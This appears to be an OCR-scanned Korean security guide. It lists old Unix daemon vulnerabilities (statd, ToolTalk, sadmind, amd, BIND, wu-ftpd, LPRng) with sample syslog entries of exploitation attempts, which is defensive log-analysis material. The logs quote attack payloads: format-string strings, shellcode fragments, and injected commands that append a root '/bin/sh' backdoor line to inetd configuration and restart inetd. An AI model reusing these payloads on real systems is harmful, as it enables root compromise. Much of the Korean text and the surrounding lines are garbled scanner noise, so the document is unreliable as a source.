SPAPAPAPPP P PP PP AP AP PP PP PP PP PP PP PP P PP AP P PP PP PP PP PP PP P
SPAPTPAPAPTP P PP PP PP PP PP PP PP P PP PP PP PP AP PP PP PP PP PP PP PP
SPAPAPAPP PP AP AP PP AP AP PP PP PP PP AP PP AP AP PP PP AP PP PP PP PP P PP PP P
APAPTPAPAPP P PP PP AP AP PP PP PP PP P PP PP PP PP PP PP AP PP PP PP PP PP
SPAPAPAPP PP PP PP AP AP PP PP PP PP PP PP AP PP PP AP PP PP PP PP PP P PP P
APAPTPAPAPTP PP PP P AP AP PP PP PP PP P PP PP PP PP PP PP AP PP PP PP PP PP
SPAPAPAPPP P PP PP AP AP PP PP PP PP AP PP AP AP PP PP AP PP PP PP PP PP P PP P
SPAPAPAPPP P PP PP AP AP PP PP PP PP AP PP AP AP PP PP AP PP PP PP PP PP P PP P
APAPTPAPAPPIP PP PP AP AP PP PP PP PP AP PP PP PP PP PP PP AP PP PP PP PP PP
SPAPAPAPPP P PP PP AP AP PP PP PP PP PP PP AP PP PP AP AP PP PP PP AP PP PP AP P
APAPTPAPPP P PP PP AP AP PP PP PP PP AP PP PP P P PP PP PP PP P PP P

CVE-1999-0493 : rpc.statd & automountd

roc.statd= SM_MONIF SM_NOTIFY @32 Soll 22 =21 ZZAAEH RPC 22
Mg £ QLI automountd?t 22 CIE2 HIOE JIHE FAEN BHIDEE MY A

OlA eIkt dets =88 = UL

Sep 8 11:07:45 victim statd[153]: statd: attempt to create "/var/statmon/sm/; echo "pcserver stream tcp nowait
root /bin/sh sh =i" >>/tmp/bob ; /usr/sbin/inetd —s /tmp/bob &"

messages:Oct 18 14:29:39 image statd[150]: attempt to create
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"/var/statmon/sm//../../../. o o o dododod T Jodod
[l o o oA Jododd /////////
Adldod g
[l tmp/ nfSOODHSESE C Oxwxxdtt
P*'c 6 ) ## #XbinXshtirdwr !

Ao Ao Sl Sl A s
Ao dodd. dodd dodd A Ao

Jan 26 03:17:30 victim statd[154]: statd: attempt to create "/var/statmon/sm/%0

8Xx %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %0242x%nN%055x%nN%012x%n
%0192x%nK"™ ~(~ ™. #™1 F'F* FF7060+, NV70151@5060/bin/sh —c echo "9088 stream tcp nowait root /bin/sh
=i" >> /tmp/m; /usr/sbin/inetd /tmp/m;"

CVE-1999-0003 : ToolTalk(rpc.ttdbserverd)
Tooltalk GIOIEAHIOIA MH (rpc.ttdbserverd)l] HIHHEZ SR FHAF2=Z 2ldH root
O; OIO|O| D#E’.#O| SHEl A 9)\[‘}

_I_OE e

Jan 4 17:47:14 victim /usr/dt/bin/rpc.ttdbserver[1173]: rpc.ttdbserverd version (1.1) does not match the version
() of the database tables. Please install an rpc.ttdbserverd version (or greater)

Jan 4 17:47:14 victim /usr/dt/bin/rpc.ttdbserver[1173]: _Tt_db_server_db("/"): 4 (/TT_DB/file_table)

Jan 4 17:47:15 victim /usr/dt/bin/rpc.ttdbserver[1173]: rpc.ttdbserverd version (1.1) does not match the version
() of the database tables. Please install an rpc.ttdbserverd version (or greater)

Jan 4 17:47:15 victim /usr/dt/bin/rpc.ttdbserver[1173]: _Tt_db_server_db("/"): 4 (/TT_DB/file_table)

Jan 4 17:47:15 victim /usr/dt/bin/rpc.ttdbserver[1173]: rpc.ttdbserverd version (1.1) does not match the version
() of the database tables. Please install an rpc.ttdbserverd version (or greater)

messages.3:Dec 25 21:24:13 victim inetd[150]: /usr/dt/bin/rpc.ttdbserverd: exit status —1
messages.3:Dec 25 21:30:54 victim inetd[150]: /usr/dt/bin/rpc.ttdbserverd: exit status —1
messages.3:Dec 25 21:57:53 victim inetd[150]: /usr/dt/bin/rpc.ttdbserverd: exit status —1
messages.3:Dec 25 22:04:13 victim inetd[150]: /usr/dt/bin/rpc.ttdbserverd: exit status —1
messages.3:Dec 25 23:41:22 victim inetd[150]: /usr/dt/bin/rpc.ttdbserverd: exit status —1

CVE-1999-0696 : rpc.cmsd
CDE Calendar Manager AHBIA Ol2(rpc.cmsd)0ll HHHEZ R 3

OFF 0| EIELL.

messages.0:0ct 21 20:43:58 victim inetd[110]: /usr/openwin/bin/rpc.cmsd: Child Status Changed
messages.0:0ct 21 22:41:42 victim inetd[110]: /usr/openwin/bin/rpc.cmsd: Child Status Changed

CVE-1999-0977 : sadmind
sctela sadmind2 HIHHEZS FAE=2 2AX2 S Xt
NETMGT_PROC_SERVICE &= AIE6tN root et &SE = ULL

: /usr/sbin/sadmind: Segmentation Fault — core dumped
. Jusr/sbin/sadmind: Segmentation Fault — core dumped
: /usr/sbin/sadmind: Segmentation Fault — core dumped

messages:Jan 3 15:40:13 victim inetd[242]
[242]
[242]
6 victim inetd[242]: /usr/sbin/sadmind: Segmentation Fault — core dumped
[242]
[242]

1
messages:Jan 3 15:40:14 victim inetd[242
messages:Jan 3 15:40:15 victim inetd[242
messages:Jan 3 15:40:1
messages:Jan 3 15:40:1
messages:Jan 3 15:40:1

7 victim inetd[242]: /usr/sbin/sadmind: Segmentation Fault — core dumped
8 victim inetd[242]: /usr/sbin/sadmind: Segmentation Fault — core dumped
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messages:Jan 3 15:40:19 victim inetd[242]: /usr/sbin/sadmind: Hangup

CVE-1999-0002 : mountd
NFS mountde HIHHEEZSR FHAHO0I &MotH AKX S2X0AH root 2E HIE
Ct. 2= 2l=A AAB0HA 323 Jtsotth.

o

Oct 27 06:01:00 victim 28>Oct 27 06:01:00 mountd[288]: Blocked attempt of xxx.xxx.155.130 to mount
SPAPAPAPPP P PP PP AP PP PP AP PP PP AP PP AP AP PP PP PP PP PP PP AP PP PP PP
SPAPTPAPAPP PP PP P PP PP PP PP PP AP PP PP P PP AP PP PP AP PP PP PP PP PP
APAPTPAPAPPIP PP PP AP AP PP PP PP PP AP PP PP PP PP PP PP AP PP PP PP PP PP
SPAPAPAPPP P PP PP AP AP PP PP PP PP PP PP AP PP PP AP PP PP PP PP PP PP PP
APAPTPAPPP P PP PP AP AP PP PP PP PP AP PP PP PP PP PP PP AP PP PP PP PP PP
SPAPAPAPPP P PP PP AP AP PP PP PP PP PP PP AP PP PP AP P PP PP PP PP PP PP P
APAPTPAPAPPIP PP PP AP AP PP PP PP PP AP PP PP PP PP AP P PP AP PP PP PP PP PP
SPAPAPAPPP P PP PP AP AP PP PP PP PP AP PP AP AP PP PP AP PP PP PP PP PP P PP P
APAPTPAPAPTP PP PP P AP AP PP PP PP PP AP PP PP PP PP PP PP AP PP PP PP PP PP
SPAPAPAPPP P PP PP AP PP P PP PP PP PP PP AP PP PP PP PP PP P PP PP P PP P
SPAPTPAPPPIP PP PP PP PP PP PP PP PP PP

CVE-1999-0704 : amd
2lsA am-utils XN ZEZH A= H22l automounter HI2(amd)2l 22 JIs0ll H
HHEZR FHAE0| =EHC

messages.1:Mar 11 05:20:50 victim 27>Mar 11 05:20:50 amd[468]: amq requested mount
f clelelalialalalaalaeaelaaaelaaaelaaeaaelaeaaeaaaaeaaaaaaalaal al
O XX X XX X X XXX X X X XXX X X XXX XX X LX LX LX LX LX LX LX LX LX LX LX LX LX LX
claelalalalalaalaelaalaaalaaaaaaaaaalaaaaaalalalalaaalal alal 2l
XXX XXX XX XXX XXX XXX XXX X XXX XXX XXX LX LX LX LX LX LX LX LX LX LX
clelelzliaelaalaeael alaaelaaaelaaelaaelaeaaelaaaaeaeaaaaaaaaaa alalal
XXX X X X XXX X X XXX X X X XXX X X XX XX X LX LX LX LX LX LX LX LX LX LX LX LX LX
clelalalalalalalaelaaaaalaaaaaaaaaaaeaaaaalalalalaaalalalal 2l
XXX XXX XX XXX XXX XXX XXX XXX XXX X XXX LX LX LX LX LX LX LX LX LX LX
~ T EA] S AV A
BB NEHSEFLE " WH"Z?K?018 Jan 1998--str/bin/sh(-c)/bin/echo '2222 ?
H N
stream tcp nowait root /bin/sh sB & B3 & B8 (

CVE-1999-0833 : bind
BIND 8.22] NXT dIZ=0l HIHHEZ S FAE0l =IHetCt.

BIND 20| &g 22 2 I
# |s —al /var/named
drwxr—xr-x 2 root root 4096 Apr 18 08:16 ADMROCKS/

i
FIOI\

X0l 8112, ADMROCKSet= S EeJt ddECth

CVE-2000-0666 : rpc.statd

E2 2sA HEEWMN HB6t=E nfs-utils WIIX LS rpc.statde Z20/HEZRH &
S22 AR 22 format string2 & Qo =2 X2 B2A XU 2I6H root HEHS WA =
QUL

Jan 21 19:38:11 victim rpc.statd[363]: gethostbyname error for™X??X??Y??Y?72?2?Z2??[??[? bffff750

-23 -



80497108052c2068746567627473616d616e797265206520726f7220726166b1fff718bffff719bffff71abffff71b

messages.3:Aug 14 14:58:29 victim rpc.statd[347]: SM_MON request for hostname containing '/':
~D??D?PEP?E??F??F??G??G??8049f10 bffff754 000028f8 4d5f4d53 72204e4f 65757165 66207473 6820726f
6e74736f 20656061 7466163 6966961 2720676e 203a272f
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000bffff704000000000000000000000000000000000000
0000000000bffff7050000bffff70600000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000bffff707

v (2 s # F'ooFs F F +, N \ s bin/sh -c
echo 9704 stream tcp nowait root /bin/sh sh =i >> /etc/inetd.conf;killall ~=HUP inetd

CAN-2000-0573 : wu—ftpd
wu—ftpd 2.6.0L+t 1 Ol HE2 A2 X 22 format string@ = 2lol B X2 3Kt

SITEEXEC BE0E Soll 22 8= =dg = ULL

Feb 26 18:01:49 victim ftpd[18403]: ANONYMOUS FTP LOGIN FROM 194.176.178.2 [194.176.178.2]
alalzialaialaialaialaialialalalaialaialaialaialaiali a2l ezl 2l 2l 2l el 2l 22l 2l 2l 2l 2l 212l 2l 2l 21 2 212 21 21 21 21 21
AMXAXA XX AKX XA X X XX XA XX XXX XX XXX XXX XX XX X XX X LXK X LX LXK LX LX LX LX LX LX LX LX LX LX LX LX LX LX LX
elzizlelzizlalaizialalialelaialelaialalaizlalizlizializlzizlielaializlalalzlelzli2l 2l 2lal 2l 22l 2l 2l 2l 2l 2l 2l 2 2
XXX XXX XX XXX XXX XXX XXX XXX XXX XXX XXX XXX XX XXX XXX XXX LX LX LX LX LX LX LX
elalaialaialaialaialaialialalialaaliaialaialaial ezl alial ezl 2l a2l el 2l 22l 2l 2l 2l 2l 212l 21 2l 21 2 21 2 21 21 21 21 21
AMXAXA XX AKX XA X X XX XA XX X XX XX XXX XXX XX X X X X X X LXK X LX LXK LX LX LX LX LX LX LX LX LX LX LX LX LX LX LX
SIGIEEEEEHEEEEEBEE1?7? FYIEA???M AT DA BN AP 2 HE

= AR
>
@

—

BAH?L? u?

GiEl

FA? H??77N? = D1&EFY

(0]
i

SHENEEHENL?K?1?707A??  binOsh1..1

CVE-2000-0917 : LPRNng
LPRng 3.6.24°2| use_syslog() &0l format string H2&E0l =MotH 2AXS 22Xt

ool HPOE +E 4+ UC

A

Apr 17 21:22:23 victim SERVER[4958]: Dispatch_input: bad request line 'BBO O O O
XXXXXXXXXXXXXXXXXX0000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000048secursecurity00000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

00000000000000001073835088~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P1?2?KF?@~|?155{~I??|7~I] ?~I] 7~
IM?MMO~@17?1E?f~1]17??0'~IM?ME?IEOE?P~I?MMO~@~|?C?@~1?7@~1? 7~
~@~1?7?@7?X"~Iu"H1 ?HF"G~IE"L?K~I1?MM " H~MU"L?@ ? /bin/sh'

Mar 26 18:20:54 victim bsd-gw([410]: Invalid protocol request (66):

BBB() + +XXXXXXXXXXXXXXXXXX %.232u%300$Nn%. 199u%301 $nsecurity.i%302$n%.
192u%303$n111=F14f1CICIKMMO1EC]fE'MEECEMOCCCT 73#Au1FENL KMU”LO/bin/sh

-4 -



